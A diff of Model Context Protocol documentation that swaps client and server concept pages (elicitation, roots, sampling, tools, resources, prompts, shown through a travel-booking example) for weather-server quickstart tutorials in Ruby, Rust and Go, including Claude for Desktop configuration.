changed tools, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available. + def format_alert(feature) + properties = feature["properties"] - ```python theme={null} - # Pseudo-code for AI application notification handling - async def handle_tools_changed_notification(session): - tools_response = await session.list_tools() - app.update_available_tools(session, tools_response.tools) - if app.conversation.is_active(): - app.conversation.notify_llm_of_new_capabilities() + <<~ALERT + Event: #{properties["event"] || "Unknown"} + Area: #{properties["areaDesc"] || "Unknown"} + Severity: #{properties["severity"] || "Unknown"} + Description: #{properties["description"] || "No description available"} + Instructions: #{properties["instruction"] || "No specific instructions provided"} + ALERT + end + end ``` - - + ### Implementing tool execution -# Understanding MCP clients -Source: https://modelcontextprotocol.io/docs/learn/client-concepts + Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic: + ```ruby theme={null} + class GetAlerts < MCP::Tool + extend HelperMethods + tool_name "get_alerts" + description "Get weather alerts for a US state" + input_schema( + properties: { + state: { + type: "string", + description: "Two-letter US state code (e.g. CA, NY)" + } + }, + required: ["state"] + ) + + def self.call(state:) + url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}" + data = make_nws_request(url) + + if data["features"].empty? + return MCP::Tool::Response.new([{ + type: "text", + text: "No active alerts for this state." + }]) + end -MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server. + alerts = data["features"].map { |feature| format_alert(feature) } + MCP::Tool::Response.new([{ + type: "text", + text: alerts.join("\n---\n") + }]) + end + end -Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections. + class GetForecast < MCP::Tool + extend HelperMethods -## Core Client Features + tool_name "get_forecast" + description "Get weather forecast for a location" + input_schema( + properties: { + latitude: { + type: "number", + description: "Latitude of the location" + }, + longitude: { + type: "number", + description: "Longitude of the location" + } + }, + required: ["latitude", "longitude"] + ) -In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions. + def self.call(latitude:, longitude:) + # First get the forecast grid endpoint. + points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}" + points_data = make_nws_request(points_url) -| Feature | Explanation | Example | -| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | -| **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalise a booking. | -| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. | -| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. | + # Get the forecast URL from the points response. + forecast_url = points_data["properties"]["forecast"] + forecast_data = make_nws_request(forecast_url) -### Elicitation + # Format the periods into a readable forecast. + periods = forecast_data["properties"]["periods"] + forecasts = periods.first(5).map do |period| + <<~FORECAST + #{period["name"]}: + Temperature: #{period["temperature"]}°#{period["temperatureUnit"]} + Wind: #{period["windSpeed"]} #{period["windDirection"]} + Forecast: #{period["detailedForecast"]} + FORECAST + end -Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows. + MCP::Tool::Response.new([{ + type: "text", + text: forecasts.join("\n---\n") + }]) + end + end + ``` -#### Overview + ### Running the server -Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns. + Finally, initialize and run the server: -**Elicitation flow:** + ```ruby theme={null} + server = MCP::Server.new( + name: "weather", + version: "1.0.0", + tools: [GetAlerts, GetForecast] + ) -```mermaid theme={null} -sequenceDiagram - participant User - participant Client - participant Server + transport = MCP::Server::Transports::StdioTransport.new(server) + transport.open + ``` - Note over Server,Client: Server initiates elicitation - Server->>Client: elicitation/create + Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts. - Note over Client,User: Human interaction - Client->>User: Present elicitation UI - User-->>Client: Provide requested information + Let's now test your server from an existing MCP host, Claude for Desktop. - Note over Server,Client: Complete request - Client-->>Server: Return user response + ## Testing your server with Claude for Desktop - Note over Server: Continue processing with new information -``` + + Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + -The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers continue processing with the newly acquired context. + First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** -**Elicitation components example:** + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. -```typescript theme={null} -{ - method: "elicitation/requestInput", - params: { - message: "Please confirm your Barcelona vacation booking details:", - schema: { - type: "object", - properties: { - confirmBooking: { - type: "boolean", - description: "Confirm the booking (Flights + Hotel = $3,000)" - }, - seatPreference: { - type: "string", - enum: ["window", "aisle", "no preference"], - description: "Preferred seat type for flights" - }, - roomType: { - type: "string", - enum: ["sea view", "city view", "garden view"], - description: "Preferred room type at hotel" - }, - travelInsurance: { - type: "boolean", - default: false, - description: "Add travel insurance ($150)" - } - }, - required: ["confirmBooking"] - } - } -} -``` + For example, if you have [VS Code](https://code.visualstudio.com/) installed: -#### Example: Holiday Booking Approval + + ```bash macOS/Linux theme={null} + code ~/Library/Application\ Support/Claude/claude_desktop_config.json + ``` -A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding. + ```powershell Windows theme={null} + code $env:AppData\Claude\claude_desktop_config.json + ``` + -The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options. + You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. -As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information. + In this case, we'll add our single weather server like so: -#### User Interaction Model + + ```json macOS/Linux theme={null} + { + "mcpServers": { + "weather": { + "command": "bundle", + "args": ["exec", "ruby", "weather.rb"], + "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather" + } + } + } + ``` -Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy: + ```json Windows theme={null} + { + "mcpServers": { + "weather": { + "command": "bundle", + "args": ["exec", "ruby", "weather.rb"], + "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather" + } + } + } + ``` + -**Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation. - -**Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers. - -**Privacy considerations**: Elicitation never requests passwords or API keys. Clients warn about suspicious requests and let users review data before sending. - -### Roots + + Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path. + -Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on. + This tells Claude for Desktop: -#### Overview + 1. There's an MCP server named "weather" + 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory -Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing. + Save the file, and restart **Claude for Desktop**. + -**Root structure:** + + Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust) -```json theme={null} -{ - "uri": "file:///Users/agent/travel-planning", - "name": "Travel Planning Workspace" -} -``` + ### Prerequisite knowledge -Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can be updated dynamically as users work with different projects or folders, with servers receiving notifications through `roots/list_changed` when boundaries change. + This quickstart assumes you have familiarity with: -#### Example: Travel Planning Workspace + * Rust programming language + * Async/await in Rust + * LLMs like Claude -A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning. + ### Logging in MCP Servers -The client provides filesystem roots to the travel planning server: + When implementing MCP servers, be careful about how you handle logging: -* `file:///Users/agent/travel-planning` - Main workspace containing all travel files -* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources -* `file:///Users/agent/client-documents` - Client passports and travel documents + **For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server. -When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries. + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. -If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client updates the roots list via `roots/list_changed`. + ### Best Practices -For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository. + * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust. + * Configure your logging framework to avoid stdout output. -#### Design Philosophy + ### Quick Examples -Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control. + ```rust theme={null} + // ❌ Bad (STDIO) + println!("Processing request"); -Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically). + // ✅ Good (STDIO) + eprintln!("Processing request"); // writes to stderr + ``` -#### User Interaction Model + ### System requirements -Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management: + * Rust 1.70 or higher installed. + * Cargo (comes with Rust installation). -**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work. + ### Set up your environment -**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records. + First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install): -### Sampling + + ```bash macOS/Linux theme={null} + curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh + ``` -Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control. + ```powershell Windows theme={null} + # Download and run rustup-init.exe from https://rustup.rs/ + ``` + -#### Overview + Verify your Rust installation: -Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window. + ```bash theme={null} + rustc --version + cargo --version + ``` -**Sampling flow:** + Now, let's create and set up our project: -```mermaid theme={null} -sequenceDiagram - participant LLM - participant User - participant Client - participant Server + + ```bash macOS/Linux theme={null} + # Create a new Rust project + cargo new weather + cd weather + ``` - Note over Server,Client: Server initiates sampling - Server->>Client: sampling/createMessage + ```powershell Windows theme={null} + # Create a new Rust project + cargo new weather + cd weather + ``` + - Note over Client,User: Human-in-the-loop review - Client->>User: Present request for approval - User-->>Client: Review and approve/modify + Update your `Cargo.toml` to add the required dependencies: - Note over Client,LLM: Model interaction - Client->>LLM: Forward approved request - LLM-->>Client: Return generation + ```toml Cargo.toml theme={null} + [package] + name = "weather" + version = "0.1.0" + edition = "2024" - Note over Client,User: Response review - Client->>User: Present response for approval - User-->>Client: Review and approve/modify + [dependencies] + rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] } + tokio = { version = "1.46", features = ["full"] } + reqwest = { version = "0.12", features = ["json"] } + serde = { version = "1.0", features = ["derive"] } + serde_json = "1.0" + anyhow = "1.0" + tracing = "0.1" + tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] } + ``` - Note over Server,Client: Complete request - Client-->>Server: Return approved response -``` + Now let's dive into building your server. -The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before it returns to the server. + ## Building your server -**Request parameters example:** + ### Importing packages and constants -```typescript theme={null} -{ - messages: [ - { - role: "user", - content: "Analyze these flight options and recommend the best choice:\n" + - "[47 flights with prices, times, airlines, and layovers]\n" + - "User preferences: morning departure, max 1 layover" - } - ], - modelPreferences: { - hints: [{ - name: "claude-sonnet-4-20250514" // Suggested model - }], - costPriority: 0.3, // Less concerned about API cost - speedPriority: 0.2, // Can wait for thorough analysis - intelligencePriority: 0.9 // Need complex trade-off evaluation - }, - systemPrompt: "You are a travel expert helping users find the best flights based on their preferences", - maxTokens: 1500 -} -``` + Open `src/main.rs` and add these imports and constants at the top: -#### Example: Flight Analysis Tool + ```rust theme={null} + use anyhow::Result; + use rmcp::{ + ServerHandler, ServiceExt, + handler::server::{router::tool::ToolRouter, tool::Parameters}, + model::*, + schemars, tool, tool_handler, tool_router, + }; + use serde::Deserialize; + use serde::de::DeserializeOwned; -Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs. + const NWS_API_BASE: &str = "https://api.weather.gov"; + const USER_AGENT: &str = "weather-app/1.0"; + ``` -The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover." + The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport. -The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations. + ### Data structures -#### User Interaction Model + Next, let's define the data structures for deserializing responses from the National Weather Service API: -While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms: + ```rust theme={null} + #[derive(Debug, Deserialize)] + struct AlertsResponse { + features: Vec, + } -**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests. + #[derive(Debug, Deserialize)] + struct AlertFeature { + properties: AlertProperties, + } -**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server. + #[derive(Debug, Deserialize)] + struct AlertProperties { + event: Option, + #[serde(rename = "areaDesc")] + area_desc: Option, + severity: Option, + description: Option, + instruction: Option, + } -**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information. + #[derive(Debug, Deserialize)] + struct PointsResponse { + properties: PointsProperties, + } -**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-initiated AI interactions cannot compromise security or access sensitive data without explicit user consent. + #[derive(Debug, Deserialize)] + struct PointsProperties { + forecast: String, + } + #[derive(Debug, Deserialize)] + struct ForecastResponse { + properties: ForecastProperties, + } -# Understanding MCP servers -Source: https://modelcontextprotocol.io/docs/learn/server-concepts + #[derive(Debug, Deserialize)] + struct ForecastProperties { + periods: Vec, + } + #[derive(Debug, Deserialize)] + struct ForecastPeriod { + name: String, + temperature: i32, + #[serde(rename = "temperatureUnit")] + temperature_unit: String, + #[serde(rename = "windSpeed")] + wind_speed: String, + #[serde(rename = "windDirection")] + wind_direction: String, + #[serde(rename = "detailedForecast")] + detailed_forecast: String, + } + ``` + Now define the request types that MCP clients will send: -MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces. + ```rust theme={null} + #[derive(serde::Deserialize, schemars::JsonSchema)] + pub struct MCPForecastRequest { + latitude: f32, + longitude: f32, + } -Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling. + #[derive(serde::Deserialize, schemars::JsonSchema)] + pub struct MCPAlertRequest { + state: String, + } + ``` -## Core Server Features + ### Helper functions -Servers provide functionality through three building blocks: + Add helper functions for making API requests and formatting responses: -| Feature | Explanation | Examples | Who controls it | -| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- | -| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights
Send messages
Create calendar events | Model | -| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents
Access knowledge bases
Read calendars | Application | -| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation
Summarize my meetings
Draft an email | User | + ```rust theme={null} + async fn make_nws_request(url: &str) -> Result { + let client = reqwest::Client::new(); + let rsp = client + .get(url) + .header(reqwest::header::USER_AGENT, USER_AGENT) + .header(reqwest::header::ACCEPT, "application/geo+json") + .send() + .await? + .error_for_status()?; + Ok(rsp.json::().await?) + } -We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together. + fn format_alert(feature: &AlertFeature) -> String { + let props = &feature.properties; + format!( + "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}", + props.event.as_deref().unwrap_or("Unknown"), + props.area_desc.as_deref().unwrap_or("Unknown"), + props.severity.as_deref().unwrap_or("Unknown"), + props + .description + .as_deref() + .unwrap_or("No description available"), + props + .instruction + .as_deref() + .unwrap_or("No specific instructions provided") + ) + } -### Tools + fn format_period(period: &ForecastPeriod) -> String { + format!( + "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}", + period.name, + period.temperature, + period.temperature_unit, + period.wind_speed, + period.wind_direction, + period.detailed_forecast + ) + } + ``` -Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context. + ### Implementing the Weather server and tools -#### How Tools Work + Now let's implement the main Weather server struct with the tool handlers: -Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model. + ```rust theme={null} + pub struct Weather { + tool_router: ToolRouter, + } -**Protocol operations:** + #[tool_router] + impl Weather { + fn new() -> Self { + Self { + tool_router: Self::tool_router(), + } + } -| Method | Purpose | Returns | -| ------------ | ------------------------ | -------------------------------------- | -| `tools/list` | Discover available tools | Array of tool definitions with schemas | -| `tools/call` | Execute a specific tool | Tool execution result | + #[tool(description = "Get weather alerts for a US state.")] + async fn get_alerts( + &self, + Parameters(MCPAlertRequest { state }): Parameters, + ) -> String { + let url = format!( + "{}/alerts/active/area/{}", + NWS_API_BASE, + state.to_uppercase() + ); -**Example tool definition:** + match make_nws_request::(&url).await { + Ok(data) => { + if data.features.is_empty() { + "No active alerts for this state.".to_string() + } else { + data.features + .iter() + .map(format_alert) + .collect::>() + .join("\n---\n") + } + } + Err(_) => "Unable to fetch alerts or no alerts found.".to_string(), + } + } -```typescript theme={null} -{ - name: "searchFlights", - description: "Search for available flights", - inputSchema: { - type: "object", - properties: { - origin: { type: "string", description: "Departure city" }, - destination: { type: "string", description: "Arrival city" }, - date: { type: "string", format: "date", description: "Travel date" } - }, - required: ["origin", "destination", "date"] - } -} -``` + #[tool(description = "Get weather forecast for a location.")] + async fn get_forecast( + &self, + Parameters(MCPForecastRequest { + latitude, + longitude, + }): Parameters, + ) -> String { + let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}"); + let Ok(points_data) = make_nws_request::(&points_url).await else { + return "Unable to fetch forecast data for this location.".to_string(); + }; -#### Example: Travel Booking + let forecast_url = points_data.properties.forecast; -Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation: + let Ok(forecast_data) = make_nws_request::(&forecast_url).await else { + return "Unable to fetch forecast data for this location.".to_string(); + }; -**Flight Search** + let periods = &forecast_data.properties.periods; + let forecast_summary: String = periods + .iter() + .take(5) // Next 5 periods only + .map(format_period) + .collect::>() + .join("\n---\n"); + forecast_summary + } + } + ``` -``` -searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15") -``` + The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools. -Queries multiple airlines and returns structured flight options. + ### Implementing the ServerHandler -**Calendar Blocking** + Implement the `ServerHandler` trait to define server capabilities: -``` -createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22") -``` + ```rust theme={null} + #[tool_handler] + impl ServerHandler for Weather { + fn get_info(&self) -> ServerInfo { + ServerInfo { + capabilities: ServerCapabilities::builder().enable_tools().build(), + ..Default::default() + } + } + } + ``` -Marks the travel dates in the user's calendar. + ### Running the server -**Email notification** + Finally, implement the main function to run the server with stdio transport: -``` -sendEmail(to: "team@work.com", subject: "Out of Office", body: "...") -``` + ```rust theme={null} + #[tokio::main] + async fn main() -> Result<()> { + let transport = (tokio::io::stdin(), tokio::io::stdout()); + let service = Weather::new().serve(transport).await?; + service.waiting().await?; + Ok(()) + } + ``` -Sends an automated out-of-office message to colleagues. + Build your server with: -#### User Interaction Model + ```bash theme={null} + cargo build --release + ``` -Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms. + The compiled binary will be in `target/release/weather`. -For trust and safety, applications can implement user control through various mechanisms, such as: + Let's now test your server from an existing MCP host, Claude for Desktop. -* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions -* Approval dialogs for individual tool executions -* Permission settings for pre-approving certain safe operations -* Activity logs that show all tool executions with their results + ## Testing your server with Claude for Desktop -### Resources + + Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + -Resources provide structured access to information that the AI application can retrieve and provide to models as context. + First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** -#### How Resources Work + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. -Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model. + For example, if you have [VS Code](https://code.visualstudio.com/) installed: -Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling. + + ```bash macOS/Linux theme={null} + code ~/Library/Application\ Support/Claude/claude_desktop_config.json + ``` -Resources support two discovery patterns: + ```powershell Windows theme={null} + code $env:AppData\Claude\claude_desktop_config.json + ``` + -* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024 -* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example: - * `travel://activities/{city}/{category}` - returns activities by city and category - * `travel://activities/barcelona/museums` - returns all museums in Barcelona + You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. -Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting. + In this case, we'll add our single weather server like so: -**Protocol operations:** + + ```json macOS/Linux theme={null} + { + "mcpServers": { + "weather": { + "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather" + } + } + } + ``` -| Method | Purpose | Returns | -| -------------------------- | ------------------------------- | -------------------------------------- | -| `resources/list` | List available direct resources | Array of resource descriptors | -| `resources/templates/list` | Discover resource templates | Array of resource template definitions | -| `resources/read` | Retrieve resource contents | Resource data with metadata | -| `resources/subscribe` | Monitor resource changes | Subscription confirmation | + ```json Windows theme={null} + { + "mcpServers": { + "weather": { + "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe" + } + } + } + ``` + -#### Example: Getting Travel Planning Context + + Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension. + -Continuing with the travel planning example, resources provide the AI application with access to relevant information: + This tells Claude for Desktop: -* **Calendar data** (`calendar://events/2024`) - Checks user availability -* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents -* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences + 1. There's an MCP server named "weather" + 2. Launch it by running the compiled binary at the specified path -The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model. + Save the file, and restart **Claude for Desktop**. +
-In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences. + + Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go) -**Resource Template Examples:** + ### Prerequisite knowledge -```json theme={null} -{ - "uriTemplate": "weather://forecast/{city}/{date}", - "name": "weather-forecast", - "title": "Weather Forecast", - "description": "Get weather forecast for any city and date", - "mimeType": "application/json" -} + This quickstart assumes you have familiarity with: -{ - "uriTemplate": "travel://flights/{origin}/{destination}", - "name": "flight-search", - "title": "Flight Search", - "description": "Search available flights between cities", - "mimeType": "application/json" -} -``` + * Go + * LLMs like Claude -These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)". + ### Logging in MCP Servers -#### Parameter Completion + When implementing MCP servers, be careful about how you handle logging: -Dynamic resources support parameter completion. For example: + **For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server. -* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City" -* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International" + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. -The system helps discover valid values without requiring exact format knowledge. + ### Best Practices -#### User Interaction Model + * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files. + * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly. -Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include: + ### Quick Examples -* Tree or list views for browsing resources in familiar folder-like structures -* Search and filter interfaces for finding specific resources -* Automatic context inclusion or smart suggestions based on heuristics or AI selection -* Manual or bulk selection interfaces for including single or multiple resources + ```go theme={null} + // ❌ Bad (STDIO) + fmt.Println("Processing request") -Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers. + // ✅ Good (STDIO) + log.Println("Processing request") // defaults to stderr -### Prompts + // ✅ Good (STDIO) + fmt.Fprintln(os.Stderr, "Processing request") + ``` -Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server. + ### System requirements -#### How Prompts Work + * Go 1.24 or higher installed. -Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values. + ### Set up your environment -**Protocol operations:** + First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/). -| Method | Purpose | Returns | -| -------------- | -------------------------- | ------------------------------------- | -| `prompts/list` | Discover available prompts | Array of prompt descriptors | -| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments | + Verify your Go installation: -#### Example: Streamlined Workflows + ```bash theme={null} + go version + ``` -Prompts provide structured templates for common tasks. In the travel planning context: + Now, let's create and set up our project: -**"Plan a vacation" prompt:** + + ```bash macOS/Linux theme={null} + # Create a new directory for our project + mkdir weather + cd weather -```json theme={null} -{ - "name": "plan-vacation", - "title": "Plan a vacation", - "description": "Guide through vacation planning process", - "arguments": [ - { "name": "destination", "type": "string", "required": true }, - { "name": "duration", "type": "number", "description": "days" }, - { "name": "budget", "type": "number", "required": false }, - { "name": "interests", "type": "array", "items": { "type": "string" } } - ] -} -``` + # Initialize Go module + go mod init weather -Rather than unstructured natural language input, the prompt system enables: + # Install dependencies + go get github.com/modelcontextprotocol/go-sdk/mcp -1. Selection of the "Plan a vacation" template -2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"] -3. Consistent workflow execution based on the template + # Create our server file + touch main.go + ``` -#### User Interaction Model + ```powershell Windows theme={null} + # Create a new directory for our project + md weather + cd weather -Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include: + # Initialize Go module + go mod init weather -* Easy discovery of available prompts -* Clear descriptions of what each prompt does -* Natural argument input with validation -* Transparent display of the prompt's underlying template + # Install dependencies + go get 